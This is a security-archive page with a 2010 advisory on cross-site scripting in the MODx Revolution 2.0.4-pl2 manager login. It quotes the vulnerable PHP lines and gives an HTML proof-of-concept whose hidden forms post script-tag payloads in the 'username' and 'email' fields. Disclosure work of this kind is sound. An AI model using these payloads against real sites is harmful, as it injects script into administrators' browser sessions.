what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MODx Revolution CMS Cross Site Scripting

MODx Revolution CMS Cross Site Scripting
Posted Dec 6, 2010
Authored by LiquidWorm | Site zeroscience.mk

MODx Revolution CMS version 2.0.4-pl2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | ee4eae9c7c2d3ad655590094df23afa0c31e8588b46ce611a9158231283e7fd9

MODx Revolution CMS Cross Site Scripting

Change Mirror Download
<!--

Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability


Vendor: MODx, LLC.
Product web page: http://www.modxcms.com
Affected version: 2.0.4-pl2 (public launch 2)

Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely
with custom code and helps you build sites faster and maintain them with ease. With Revolution
you'll leverage the best things to come around since MVC and Active Record.

Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to
the "username" and "email" parameters via POST method in login.php script at the manager
login interface. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.


#############################################################
-------------------------------------------------------------
/var/html/www/manager/controllers/default/security/login.php:
-------------------------------------------------------------

25: /* handle login */
26: if (!empty($_POST['login'])) {
27: $validated = true;
28:
29: $user = $modx->getObject('modUser',array(
30: 'username' => $_POST['username'],
31: ));

...

71: } else if (!empty($_POST['forgotlogin'])) {
72: $c = $modx->newQuery('modUser');
73: $c->select(array('modUser.*','Profile.email','Profile.fullname'));
74: $c->innerJoin('modUserProfile','Profile');
75: $c->where(array(
76: 'Profile.email' => $_POST['email'],
77: ));

-------------------------------------------------------------


Tested on: Fedora 10 (Cambridge)
Apache 2.2.14
PHP 5.2.10
MySQL 5.0.88

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2010-4982
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php
Vendor Advisory URL: http://bugs.modx.com/issues/2918

05.12.2010


PoC:

-->


<html>
<head>

<title>MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script</title>
<link rel="Shortcut Icon" href="http://www.zeroscience.mk/favicon.ico" type="image/x-icon">

</head>

<body background="http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg">

<br /><br /><center><font color="gray">
<h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></h3>
</font></center>

<script type="text/javascript">

function zsl_user()
{
document.forms["modx-login-form"].submit();
}

function zsl_mail()
{
document.forms["modx-fl-form"].submit();
}

</script>

<div id="The Form Of The Ninja" style="visibility:hidden">

<form
action = "http://example.com/manager/"
id = "modx-login-form"
enctype = "application/x-www-form-urlencoded"
name = "hack"
method = "post"
>

<input
type = "hidden"
name = "login_context"
value = "mgr"
/>

<input
type = "hidden"
name = "modahsh"
value = ""
/>

<input
type = "hidden"
name = "returnUrl"
value = "/manager/"
/>

<input
type = "text"
id = "modx-login-username"
name = "username"
tabindex = "1"
autocomplete = "on"
class = "x-form-text x-form-field"
value = '"><script>alert("username param XSSed!")</script>'
/>

<input
type = "password"
id = "modx-login-password"
name = "password"
tabindex = "2"
autocomplete = "on"
class = "x-form-text x-form-field"
/>

<input
type = "checkbox"
id = "modx-login-rememberme"
name = "rememberme"
tabindex = "3"
autocomplete = "on"
checked = "checked"
class = "x-form-checkbox x-form-field"
value = "1"
/>

<input
type = "hidden"
name = "login"
value = "1"
/>

</div>

<br /><br />
<a href="javascript: zsl_user();" style="text-decoration:none"><b>
<font color="red"><center><h3>1. Exploit "username" parameter!
<h3></font></b></a></center></form>

<div id="The Form Of The 2nd Ninja" style="visibility:hidden">

<form
action = "http://example.com/manager/"
id = "modx-fl-form"
enctype = "application/x-www-form-urlencoded"
name = "hack"
method = "post"
>

<input
type = "text"
id = "modx-login-email"
name = "email"
class = "x-form-text x-form-field"
value = '"><script>alert("email param XSSed!")</script>"'
/>

</div>

<a href="javascript: zsl_mail();" style="text-decoration:none"><b>
<font color="red"><center><h3>2. Exploit "email" parameter!
<h3></font></b></a></center></form>

</body>
</html>
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close